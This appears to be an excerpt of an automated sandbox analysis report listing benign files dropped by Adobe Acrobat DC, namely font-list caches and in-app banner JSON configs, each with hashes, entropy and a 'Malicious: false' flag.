Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1352

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1352

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.319846076804537
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC44hbnx+FIbRI6XVW7+0YckoAvJM3g98kUwPeUkwRe9:YvXKX/qnUYpW7pGMbLUkee9
MD5:	B3BC570B7A6383D58193E58BA2243729
SHA1:	08AC07E9EEAD5485144134B455AEFAB9633D5321
SHA-256:	5F25CA0EDEB8D75B414059C35C803791C4432297BA119E77EF983139417DF83F
SHA-512:	DD757B7C0F5C8A1F447C682AE43ECA7149DC6B5B08AF785E5BAEEF372D8B4C26AB6DF5F520563DEC80AEF8685DFC0507E7CDE43AEDC3F3A41C47CCDB956E1E88
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dd6a428c-e8c7-4aac-8f27-dc1e859214fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720050306,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.256250629379875
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC44hbnx+FIbRI6XVW7+0YckoAvJfBoTfXpnrPeUkwRe9:YvXKX/qnUYpW7pGWTfXcUkee9
MD5:	D17D8A5E8E14C6457AFF080DB98EEF81
SHA1:	E9511519DD3D8B31DDF8C1140F8E7939F786618B
SHA-256:	24D482179C83A8205D04E002B8F4F8B49A2D070DBEC1F46A2F6C893B83ED533B
SHA-512:	B367A963A04B808E2FCF675254FE4BF891EC6A6C951416E4B848B224C6134BC581311F4B35AC3A08F9692B655DCC208EC4281F0447E08597EC1319B19E820F56
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dd6a428c-e8c7-4aac-8f27-dc1e859214fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720050306,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.234011699751701
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC44hbnx+FIbRI6XVW7+0YckoAvJfBD2G6UpnrPeUkwRe9:YvXKX/qnUYpW7pGR22cUkee9
MD5:	ED4C12F66A7943B72CF1EFE76C42A664
SHA1:	059A754498957BAE203975E5754DF7CD7813B8FF
SHA-256:	EB762D79692967DB6D613C19CACCC610040702E519508C02A6A77A12268F8177
SHA-512:	699B72EA862F69AD679AD1C7FFF7E4F9A91B8E62862F0DDD600267C021293DCEE22842A406E9D73692F0ECC1C3D558E4AAC69CC5B22D30E9E471FB9C03E563FA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dd6a428c-e8c7-4aac-8f27-dc1e859214fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720050306,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.297212031317679
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC44hbnx+FIbRI6XVW7+0YckoAvJfPmwrPeUkwRe9:YvXKX/qnUYpW7pGH56Ukee9
MD5:	515D2E9DC327EFAFA8384DC9C89E52E8
SHA1:	086862BEBD25E875FB43BA2AF5CC72C3D98F411F
SHA-256:	55AB05D761008D1ACB2400834F2A4E9D9752A9E6AF8D7158F5D91F37CDF2896E
SHA-512:	4D571E01DC1D07CFB011616114ACF8DBF29ACE5918892C87652310E540388BEA1E7727F20BB6F091B6E0D9D188EC0D6F0947380F44812DFF1644C9D40CB6D3D2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dd6a428c-e8c7-4aac-8f27-dc1e859214fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720050306,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.682790291345067
Encrypted:	false
SSDEEP:	24:Yv6XCFiupLgE9cQx8LennAvzBvkn0RCmK8czOCCSKwr:YvCuhgy6SAFv5Ah8cv/Kk
MD5:	6858E06405E7F9D7AA98AD361D6ECFAB
SHA1:	AE8AC3EB892DC84FDEBF1C6D455FDA3810836967
SHA-256:	6912BD3AD5A13CE513EE1A623E47BC6AF1041137D2D753855119D0AB45C2B406
SHA-512:	5EF2009344EB0698102BF577C042D89CE8081C41339221C939BEDC3EF8BBE5AD45B1E667613B2FA1AC8A94AC024E0FDEA4B0F23C85CA3D8AE05B6B14B70BE715
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dd6a428c-e8c7-4aac-8f27-dc1e859214fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720050306,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.23850442080605
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC44hbnx+FIbRI6XVW7+0YckoAvJf8dPeUkwRe9:YvXKX/qnUYpW7pGU8Ukee9
MD5:	6D48D14C87216A5B0166E6DCC3A224AA
SHA1:	D02033EFC22CAAAC580E4981F3B5662A271D9BD1
SHA-256:	679DFE69D3356F9801493DFB2EA1ABB20F89C7155F9E4DA05ADE72980538DA98
SHA-512:	D73CF19A96FFC10CE6A20D9925B10AB866B9E805BA506DA3D33FF5F379EE2087E674F7E0D6457E0BDAE1835990E8750E51C38DBB74301F714BA7389830074457
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dd6a428c-e8c7-4aac-8f27-dc1e859214fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720050306,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.240400423515174
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC44hbnx+FIbRI6XVW7+0YckoAvJfQ1rPeUkwRe9:YvXKX/qnUYpW7pGY16Ukee9
MD5:	77D5039A1A0E5ABF6FBE7057B29134BA
SHA1:	ACA336900BD144EBFF01A8CACB29C1306657D1A0
SHA-256:	7D0A9F195B6435FF22D952D5AACAE5BDE7CB933E9486B7163D6F0E994635C724
SHA-512:	615D430D2ABDD5B320216F91890367E98654F448230F7CC8C1837D87A23F2F3C5425C2A0F48EFD6AA9A0C9298155BD1E6ABADDD627F0DE7C8B80A8A76E1EE396
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dd6a428c-e8c7-4aac-8f27-dc1e859214fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720050306,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.25834092101585
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC44hbnx+FIbRI6XVW7+0YckoAvJfFldPeUkwRe9:YvXKX/qnUYpW7pGz8Ukee9
MD5:	DC6AEC5BC922EF95DE572FE9AD78C636
SHA1:	50A0D5019F6D6A83E7A164A92FCE81AB599893DC
SHA-256:	3E28B4C6CF76BEE559DAB3063F14B800B33EA3CA32E2882D88EC56006993B709
SHA-512:	9350C5F430B4EDA2866E2C3DEAEB6026D850C0C017238653E93B837C3887F7A6FE00BA2041EE6111C6FB9DF83DA8A39BD3730000264178C910BC62662BDD901A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dd6a428c-e8c7-4aac-8f27-dc1e859214fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720050306,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.267502997377069
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC44hbnx+FIbRI6XVW7+0YckoAvJfzdPeUkwRe9:YvXKX/qnUYpW7pGb8Ukee9
MD5:	C3FAB09C6D2CDD7650F8B943B898885B
SHA1:	1D0CD255DCDBB26A422909367F01ECACAE624FF3
SHA-256:	71C71FFDC959E2159ECC5DBF5B0D8EA2BEE2A01751AACDDB8093756F4011C610
SHA-512:	7B0F0F5883B26E04E143A78C578CA7CF6F648992961AB72F1FD43E8494C5371A958D0339C7CC497B291224CB6944717BF1FA2DF4F02D620CA5D0CA5158957209
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dd6a428c-e8c7-4aac-8f27-dc1e859214fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720050306,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2473475265296905
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC44hbnx+FIbRI6XVW7+0YckoAvJfYdPeUkwRe9:YvXKX/qnUYpW7pGg8Ukee9
MD5:	A0BB095442C3A62F87D0CF2AA21B511B
SHA1:	B27A4B1C301F28C6E113825B7942806C5B2742A0
SHA-256:	B4123AFAD1847B1FCFFF98CE689875A52EB52FB29FB960178279FED857E96672
SHA-512:	98439FBCE023D27B8DCFEFCC4A2F95AF7A3F49235096650B25484C92BC6D77A9BFE04563C7D715BF90BA9DECC7A3E5174FCB99360F980BCBC1BBBBAFDF33155E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dd6a428c-e8c7-4aac-8f27-dc1e859214fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720050306,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.232769910113474
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC44hbnx+FIbRI6XVW7+0YckoAvJf+dPeUkwRe9:YvXKX/qnUYpW7pG28Ukee9
MD5:	105DAF760FA442D8B3AD8A9C1C9DB1D5
SHA1:	0625D5AD76E279B808F18CA6C2086A511AA796FC
SHA-256:	7B72F1210908B8A19469F4ECA6D5E232EF8E90CDA08FA14177F74D3E51A46C22
SHA-512:	29A1D7E9141E8DB04D27B575EFA12309B05B8C4722E53ACB8168667932AA8D7661BAE6C717D631E41028659109C892219705E2F34C0596F43B491ECB32FB1014
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dd6a428c-e8c7-4aac-8f27-dc1e859214fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720050306,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.231256496873453
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC44hbnx+FIbRI6XVW7+0YckoAvJfbPtdPeUkwRe9:YvXKX/qnUYpW7pGDV8Ukee9
MD5:	A8295A9F1926094B0C8E43F8C3E8FB02
SHA1:	A4A22F141301AC7F3F04F3900BF54777855B7E42
SHA-256:	860900FB352F22517594C98B2CF14829643FB50EC277C2EDCF0209C78558E5D9
SHA-512:	D736145ACF65842E447912855A63FB01A0A6F8836D8167E1D906EABC419994D1CE24A6DECB6CF794049B015F765DF3952D42BA80BD9AF9D488A2A98C12A04866
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dd6a428c-e8c7-4aac-8f27-dc1e859214fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720050306,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.232496792882413
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC44hbnx+FIbRI6XVW7+0YckoAvJf21rPeUkwRe9:YvXKX/qnUYpW7pG+16Ukee9
MD5:	F80803EF71A78B970F91900BCECF4763
SHA1:	546CDBD54C8E8D9492C3F880326FCADEA83D7568
SHA-256:	3205AC89A07B700BC0613EC8BE83799A076EDD19F3A697C3EC88198E4E1DD463
SHA-512:	E978E781B488B5724A11FC70A7C98D03A07E9BDF8AB8B2EC66F61FC555F10D43C79513E77937F3F57189BB74BC96558679151AE2D394707988A1340FD9F704B2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dd6a428c-e8c7-4aac-8f27-dc1e859214fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720050306,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.653695902615699
Encrypted:	false
SSDEEP:	24:Yv6XCFiyamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSKwr:YvCMBgkDMUJUAh8cvMKk
MD5:	C878377B09ACFE0CD80EB4D61F9A8F2E
SHA1:	EB25071D2D21CA8FB556D684E59E3E7D7CED89C9
SHA-256:	C24F9511901E8157C7717405E0314885E0C4F9672DB1837FF39E210EDF471F77
SHA-512:	D92114031430659272C9C48D48C5237BCF8D3A7B8E87897AD1801182B3406B27A838BD90187D8131457EB1E20F17E76B1A69C367444D4EC7E132D653C6925B8B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dd6a428c-e8c7-4aac-8f27-dc1e859214fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720050306,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.205062998121548
Encrypted:	false
